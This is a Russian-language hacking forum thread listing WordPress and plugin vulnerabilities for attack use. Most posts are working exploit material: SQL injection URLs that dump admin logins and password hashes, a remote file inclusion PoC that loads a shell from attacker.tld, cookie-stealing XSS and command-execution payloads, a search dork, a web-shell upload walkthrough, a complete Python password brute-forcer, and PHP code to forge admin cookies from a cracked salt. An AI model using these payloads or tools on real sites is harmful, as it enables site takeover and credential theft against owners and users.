|
|
Приветствую Вас Гость | RSS |
|
|
|
|
|
| | |
|
Обзор уязвимостей WordPress
| |
Decide | Дата: Среда, 14.11.2012, 10:47 | Сообщение # 31 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Wordpress Photo album Remote SQL Injection Vulnerability
EXAMPLE Цитата: http://xxxxxxxx/?page_id=13&album= [exploit]
Сплоит Цитата: user_name&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201
зы Цитата: allinurl: page_id album "photo"
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:47 | Сообщение # 32 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| RFI
Register Globals: ON
PoC:
Код:
http://victim.tld/wordpre....hlight. php?libpath=http://attacker.tld/shell.txt?
XSS
Register Globals: ON
PoC:
Код:
http://victim.tld/wordpre....ing.php ?text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://victim.tld/wordpre....ce.php? text=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://victim.tld/wordpre....t.php?t ext=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://victim.tld/wordpre.....php?ur l=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/scrip t%3E http://victim.tld/wordpre....p?text= %3Cli%3E
Register Globals: Off
Код:
http://victim.tld/wordpre....hp?page =%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script %3E
Remote Code Execution
Register Globals: ON
PoC:
Код:
http://victim.tld/wordpre....p?text= %3C?php%20system(%22ls%22);
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:47 | Сообщение # 33 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| WordPress Download Counter SQL-INJ:
DownloadCounter.php PHP код: /* Plugin Name: Download Counter Modded Rus Plugin URI: http://www.cybercore.ru/ Description: Подсчитывает количество скачек файла. Автоматически генерит ссылку и код для использования на сайте. Локализованная и улучшеная версия. Оригинальная версия плагина доступна <a href="http://n0id.hexium.net/plugins">Download Counter</a>, автор Vanguard Author: Tapac Version: 1.5.rus Author URI: http://www.cybercore.ru */
Bug Code: (download.php) PHP код: if(isset($_GET['id'])){ $query=mysql_query("SELECT * FROM $downloadCounter_table WHERE id = '".addslashes($_GET[id])."'");
if (mysql_num_rows($query)) { $row=mysql_fetch_array($query); mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".addslashes($_GET[id])."'"); } }elseif ($_GET['name']){ $query=mysql_query("SELECT * FROM $downloadCounter_table WHERE label = '".$_GET['name']."'"); if (mysql_num_rows($query)) { $row=mysql_fetch_array($query); mysql_query("UPDATE $downloadCounter_table SET downloads = downloads + 1 WHERE id = '".$row['id']."'"); } }
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:47 | Сообщение # 34 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| XSS
Vulnerable: 2.3.2
PoC: Код:
http://site.wordpress.com/wp-admi....il=[XSS C0d3]
http://site.wordpress.com/wp-admin/invites.php?result=sent&to=%22%3E% 3Cscript%3Ealert (document.cookie);%3C/script%3E
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:48 | Сообщение # 35 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Раскрытие пути (работает <=2.3.3) Код: http://site.com/path_to_wp/wp-content/plugins/hello.php
Обычно этот файл никто не удаляет. Ну и получаем: Код:Code Fatal error: Call to undefined function: wptexturize() in /home/ks011/www/wp-content/plugins/hello.php on line 44
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:48 | Сообщение # 36 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Заливка шелла (если вам повезло и вы админ) тестировалось на версии 2.3.3
Все очень просто .. идем в панель администратора, Write => Write Post или Write Page => и делаем upload вашего шелла и вот он Код: /wp-content/uploads/[Год]/[месяц]/shell.php
пример: Код: http://localhost/wordpress/wp-content/uploads/2008/03/x.php
з.ы. Просмотрел всю тему, про заливку ничего не было сказано.
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:48 | Сообщение # 37 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Wordpress Plugin Download file Remote SQL Injection Vulnerability
Код: Example: http://localhost/[path]/[path]/[path]/wp-download.php?dl_id=[SQL] SQL: null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/from/**/wp_use
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:48 | Сообщение # 38 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Раскрытие пути: Code /wp-admin/import/blogger.php /wp-admin/import/blogware.php /wp-admin/import/btt.php /wp-admin/import/dotclear.php /wp-admin/import/greymatter.php /wp-admin/import/jkw.php /wp-admin/import/livejournal.php /wp-admin/import/mt.php /wp-admin/import/rss.php /wp-admin/import/stp.php /wp-admin/import/textpattern.php /wp-admin/import/utw.php /wp-admin/import/wordpress.php /wp-admin/import/wp-cat2tag.php /wp-admin/includes/admin.php /wp-admin/includes/class-ftp-pure.php /wp-admin/includes/class-ftp-sockets.php /wp-admin/includes/comment.php /wp-admin/includes/file.php /wp-admin/includes/media.php /wp-admin/includes/misc.php /wp-admin/includes/schema.php /wp-admin/includes/update.php /wp-admin/includes/upgrade.php /wp-admin/includes/widgets.php /wp-admin/admin-footer.php /wp-admin/admin-functions.php /wp-admin/edit-category-form.php /wp-admin/edit-form-advanced.php /wp-admin/edit-form-comment.php /wp-admin/edit-form.php /wp-admin/edit-link-category-form.php /wp-admin/edit-link-form.php /wp-admin/edit-page-form.php /wp-admin/edit-tag-form.php /wp-admin/menu-header.php /wp-admin/menu.php /wp-admin/options-head.php /wp-admin/upgrade-functions.php /wp-content/plugins/akismet/akismet.php /wp-content/plugins/wp-admin-fluency/wp-admin-fluency.php /wp-content/plugins/hello.php /wp-content/plugins/rus-to-lat.php /wp-content/plugins/russian-date.php /wp-content/themes/classic/comments-popup.php /wp-content/themes/classic/comments.php /wp-content/themes/classic/footer.php /wp-content/themes/classic/header.php /wp-content/themes/classic/index.php /wp-content/themes/classic/sidebar.php /wp-content/themes/default/404.php /wp-content/themes/default/archive.php /wp-content/themes/default/archives.php /wp-content/themes/default/attachment.php /wp-content/themes/default/comments-popup.php /wp-content/themes/default/footer.php /wp-content/themes/default/functions.php /wp-content/themes/default/header.php /wp-content/themes/default/image.php /wp-content/themes/default/index.php /wp-content/themes/default/links.php /wp-content/themes/default/page.php /wp-content/themes/default/search.php /wp-content/themes/default/searchform.php /wp-content/themes/default/sidebar.php /wp-content/themes/default/single.php /wp-includes/js/tinymce/langs/wp-langs.php /wp-includes/js/tinymce/plugins/spellchecker/classes/GoogleSpell.php /wp-includes/js/tinymce/plugins/spellchecker/classes/PSpell.php /wp-includes/js/tinymce/plugins/spellchecker/classes/PSpellShell.php /wp-includes/bookmark.php /wp-includes/canonical.php /wp-includes/default-filters.php /wp-includes/feed-atom-comments.php /wp-includes/feed-atom.php /wp-includes/feed-rdf.php /wp-includes/feed-rss.php /wp-includes/feed-rss2-comments.php /wp-includes/feed-rss2.php /wp-includes/general-template.php /wp-includes/kses.php /wp-includes/media.php /wp-includes/registration-functions.php /wp-includes/rss-functions.php /wp-includes/rss.php /wp-includes/script-loader.php /wp-includes/shortcodes.php /wp-includes/template-loader.php /wp-includes/update.php /wp-includes/vars.php /wp-includes/widgets.php /wp-settings.php
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:49 | Сообщение # 39 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Нашёл SQL-injection и пассивную XSS в модуле Wordpress Automatic upgrade (версия, кажется 1.1)
Для выполнения требуются права администратора. SQL осложняется тем, что уязвимый запрос выглядит так "DESCRIBE table", так-же фильтруются апострофы и кавычки.
Пример:
Код:
<form method="POST" action="http://site/wp-admin/edit.php?page=wordpress-automatic-upgrade%2Fwordpress-automatic-upgrade.php&task=backupdb"> core_tables: <input type="text" name="core_tables[1]" value="<script>alert(/XSS_AND_SQL1/)</script>"><br/> other_tables: <input type="text" name="other_tables[1]" value="<script>alert(/XSS_AND_SQL2/)</script>"><br/> <input type="submit"> </form>
WORDPRESS 2.5 - SALT CRACKING VULNERABILITY http://packetstormsecurity.org/0804-exploits/wp-saltcrack.txt
Описание уязвимости от Гемоглабина: _http://forum.antichat.ru/thread72534.html
==============================
Коротко по сути: если админ оставил пустым или дефолтным('put your unique phrase here') поле SECRET_KEY в конфигурационном файле, то становится возможным сгенерировать валидную админскую сессию.
Но для этого необходимо подобрать брутом значение соли(либо вытащить его непосредственно из бд черех SQL-inj). Перебор всех возможных вариантов (62 символа, длина строки - 7мь символов) на одном ПС займет 113 дней по расчетам автора. Прилагается специальный консольный брутер под никсы.
==============================
Важное дополнение
Дело в том что если вы имеете доступ к БД блога например через SQL-inj и SECRET_KEY пуст (или дефолтен) , то нам не требуется расшифровка паролей! Достаточно получить значение wp_options.option_name = 'secret', а также взять любой Логин админа - и можно сгенерировать валидную админскую сессию.
пхп скрипт генерирующий куку прилагается
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:49 | Сообщение # 40 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Wordpress Plugin Spreadsheet <= 0.6 SQL Injection Vulnerability
SQL-Injection
Code http://site.com/wp-content/plugins/wpSS/ss_load.php?ss_id=1+and+(1=0)+union+select+1,conca t(user_login,0x3a,user_pass,0x3a,user_email),3,4+f rom+wp_users--&display=plain
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:49 | Сообщение # 41 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| только для версии <=2.3.x Если вы случайно забыли пароль от админки), то можно сменить его через phpmyadmin. Подробнее. http://cubegames.net/blog/2008/04/26/reset-wp-password-via-phpmyadmin/
запрос Цитата: UPDATE `wordpress`.`wp_users` SET `user_pass` = MD5('antichat') WHERE `wp_users`.`user_login` =`admin` LIMIT 1;
Этот метод может быть полезен если не сработало сбрасывание пасс на мыло.
http://trac.wordpress.org/ticket/6842
идет обрезание ключа почтавиками в частности gmail
версия 2.5.1 последняя на сегодняшний день.
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:50 | Сообщение # 42 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Активная XSS в Blix Theme, которую сейчас часто ставят на WP. Код: http://site/index.p....ript%3E
еще одна - Abuse of Functionality, действует как на старых версиях, так и на новой 2.5 - суть в том, что при вводе верного и неверного логина(при неверном пароле) движок выводит разное уведомление об ошибке, т.е. методом перебора возможно получить логины пользователей, которые потом использовать при брутфорсе.
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:50 | Сообщение # 43 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Сообщение об ошибку sql возвращает поситетяля назад,если указать неккоректное значение парметра paged можно получить данные о префиксе таблиц Например: Код: http:// [host]/index.php?paged=-12
Wordpress <= 2.5.1 Malicious File Execution Vulnerability
Ну вобщем, вы можете загрузить вебшелл через аплоад, либо через редактор плагинов. Вобщем-то об этом все и так знали =)
Код: ================================================== ======== Wordpress Malicious File Execution Vulnerability ================================================== ========
AUTHOR : CWH Underground DATE : 18 May 2008 SITE : www.citecclub.org
################################################## ### APPLICATION : Wordpress Blog VERSION : <= 2.5.1 VENDOR : http://wordpress.org/ DOWNLOAD : http://wordpress.org/download ################################################## ###
DORK: N/A
---DESCRIPTION--- You must login into wordpress with Administrator Roles 1. Write Tabs - You can post title, contents and upload files. In Upload section, You can upload php script such as r57,c99,etc. into systems and upload's file will appear in http://[target]/wp-content/uploads/[year]/[month]/file.php 2. If you can't upload your php script: Found message "File type does not meet security guidelines. Try another" Dont Worry, Move to "plugins" Tabs and choose some plugins (Akismet, Hello Dolly) to EDIT it. Now you can add php script (r57/c99) into plugins edit section. Finished it and Back to Plugins Tabs -> Click Active plugins then Get your SHELL....
Let's Fun...
---NOTE/TIP---
In Plugins Edit section, Use comment /* ... */ to keep plugins code before add shells.
################################################## ################ Greetz: ZeQ3uL,BAD $ectors, Snapter, Conan, Win7dos, JabAv0C ################################################## ################
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:50 | Сообщение # 44 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| Wordpress Bruterorce
Code ############# Source code ##################### #!usr/bin/python # Flaw found on Wordpress # that allow Dictionnary & Bruteforce attack # Greetz goes to : NeoMorphS, Tiky # Vendor : http://wordpress.org/ # Found by : Kad (kadfrox@gmail.com / #kadaj-diabolik@hotmail.fr) import urllib , urllib2, sys, string tab = "%s%s%s"%( string.ascii_letters, string.punctuation, string.digits ) tab = [ i for i in tab ] def node( table, parent, size ): if size == 0: pass else: for c in table: string = "%s%s"%( parent, c ) data = {'log': sys.argv[2], 'pwd': string} print "[+] Testing : "+string request = urllib2.Request(server, urllib.urlencode(data)) f = urllib2.urlopen(request).read() if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break node( table, string, size-1 ) def bruteforce( table, size ): for c in table: node( table, c, size-1 ) if (len(sys.argv) < 3): print "Usage : float.py <server> <user> <choice> <dico-characters>" print "\nDefault: User is 'admin'" print "Choice : 1} Dictionnary Attack, use dictionnary file" print " 2} Bruteforce Attack, use number of character for password" else: server = sys.argv[1] if sys.argv[3] == "1": a , b = open(sys.argv[4],'r') , 0 for lines in a: b = b + 1 a.seek(0) c = 0 while (c < b): mot = a.readline().rstrip() data = {'log': sys.argv[2], 'pwd': mot} print "[+] Testing : "+mot request = urllib2.Request(server, urllib.urlencode(data)) f = urllib2.urlopen(request).read() if not "Incorrect password.</div>" in f: print "[!] Password is : "+mot ; break else: c = c + 1 ; pass if sys.argv[3] == "2": print "[-] Server is : "+server print "[-] User is : "+sys.argv[2] print "[-] Number of characters are : "+sys.argv[4] number = int(sys.argv[4]) bruteforce( tab, number ) ############## Source code #####################
The problem is : many time, the default user who is created is : admin, then you can try to crack the password, to stop that, you can use image confirmation or a limit for the connection (for example, only 5 tests).
To know if "admin" is the default user, you can try to go to the login page : http://site.com/wp-login.php and you try ; login : admin, pass : test (or anything else).
if "Wrong password" is printed on the page, the default user is admin, but if there is : "Wrong Username" then it's not the default password <img src="http://s49.ucoz.net/sm/1/wink.gif" border="0" align="absmiddle" alt="wink" />
Kad'
|
|
| |
Decide | Дата: Среда, 14.11.2012, 10:52 | Сообщение # 45 |
Полковник
Группа: Администраторы
Сообщений: 241
Статус: Offline
| WordPress 2.3.1 Cookies Manipulation: _http://forum.antichat.ru/showpost.php?p=560997&postcount=23
WordPress 2.5 Cookies Manipulation: начало в _http://forum.antichat.ru/showpost.php?p=655556&postcount=52
Проблемы с надежностью шифрования у вордпресса были всегда. Вспомним 2007 год, когда имея только аутенфикационные данные в виде связки логин и пароль, можно было зайти с администраторскими правами даже без перебора хеша этого пароля, а иньекций в блоге было предостаточно. Ввести элементарный секьюрити фикс не могли начиная с версии 1.5 до 2.3, когда было объявлено о выходе wordpress 2.5. Теперь сразу после инсталяции блога в базу записывается соль, с помощью который высчитывается хеш пароля, помещаемый в cookies юзера. Cookies юзера представляют из себя следующую конструкцию
"wordpress_".COOKIEHASH = USERNAME . "|" . EXPIRY_TIME . "|" . HMAC
COOKIEHASH md5 хеш от имени сайта USERNAME Имя пользователя EXPIRY_TIME Срок жизни cookies до того как они станут невалидными
HMAC представляет из себя хеш из USERNAME и EXPIRY_TIME, основанный на ключе, полученный путем преобразования USERNAME,EXPIRY_TIME и SALT, проще говоря формула такая Цитата: HMAC_KEY = HMAC md5(USERNAME.EXPIRY_TIME,SALT), HMAC = HMAC md5(USERNAME.EXPIRY_TIME,HMAC_KEY)
Для реализации атаки нам нужен зарегестрированный пользователь с любыми правами. После входа в контрольную панель мы получим наши cookies, которые будут нужны для получения соли. Так как соль для всех одна, то мы имея эту соль можем сгенерировать cookies для любого юзера, в том числе и админа. Посмотрим, как происходит аутенфикация в wordpress
PHP код: function wp_validate_auth_cookie($cookie = '') { ........................ list($username, $expiration, $hmac) = explode('|', $cookie); $expired = $expiration; ........................ if ( $expired < time() ) return false; ........................ $key = wp_hash($username . $expiration); $hash = hash_hmac('md5', $username . $expiration, $key); ........................ if ( $hmac != $hash ) return false; }
function wp_hash($data) { $salt = wp_salt(); if ( function_exists('hash_hmac') ) { return hash_hmac('md5', $data, $salt); } else { return md5($data . $salt); } }
Генерация хеша основывается лишь на юзернейме, сроке жизни кук и необходимом параметре - соль. Соль получается следующим образом
PHP код: function wp_salt() { ........................ if ( empty($salt) ) { $salt = wp_generate_password(); update_option('secret', $salt); } ........................ }
function wp_generate_password() { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789"; $length = 7; $password = ''; for ( $i = 0; $i < $length; $i++ ) $password .= substr($chars, mt_rand(0, 61), 1); return $password; }
Как видим, она генерируется случайным образом из набора A-Za-z0-9, то есть общее число комбинаций 62^7, а именно 3521614606208. При неплохой скорости перебора в четыре милиона в секунду имеем 3521614606208 / 4000000 примерно десять дней перебора. Но вспоминаем, что у нас не обычный md5, а hmac. HMAC md5 завязан на ключе и хеширование происходит по формуле md5(key XOR opad, md5(key XOR ipad, text)), где ipad и opad - сгенерированные на основе ключа строки, полученные путем ксора (ipad = the byte 0x36 repeated 16 times, opad = the byte 0x5C repeated 16 times), то есть на перебор вместо изначальных десяти дней уйдет максимум месяц за счет операций с ключом и двойного вызова md5. Перебор должен происходить на основе уже готовых username, hmac и expired из наших cookies - hmac_md5(username . expired, hmac_md5(username . expired,SALT)) == hmac. После получения соли, воспользовавшись стандартными worpdress функциями получим cookies для админа. Enjoy.
PHP код: $hmackey = hash_hmac('md5', 'admin' . '9999999999', $salt); $hmacpass = hash_hmac('md5', 'admin' . '9999999999', $hmackey);
Спасибо +toxa+ и W[4H]LF за потраченное на меня время
Цитата: шок (15:24:19 3/06/2008) назовем - криптографическая атака на вордпресс
+toxa+ (15:24:34 3/06/2008) Тебе хитровыебнуться надо?))
|
|
| |
| |
| | |
|
|
|
Воскресенье, 22.12.2024, 09:00 |
|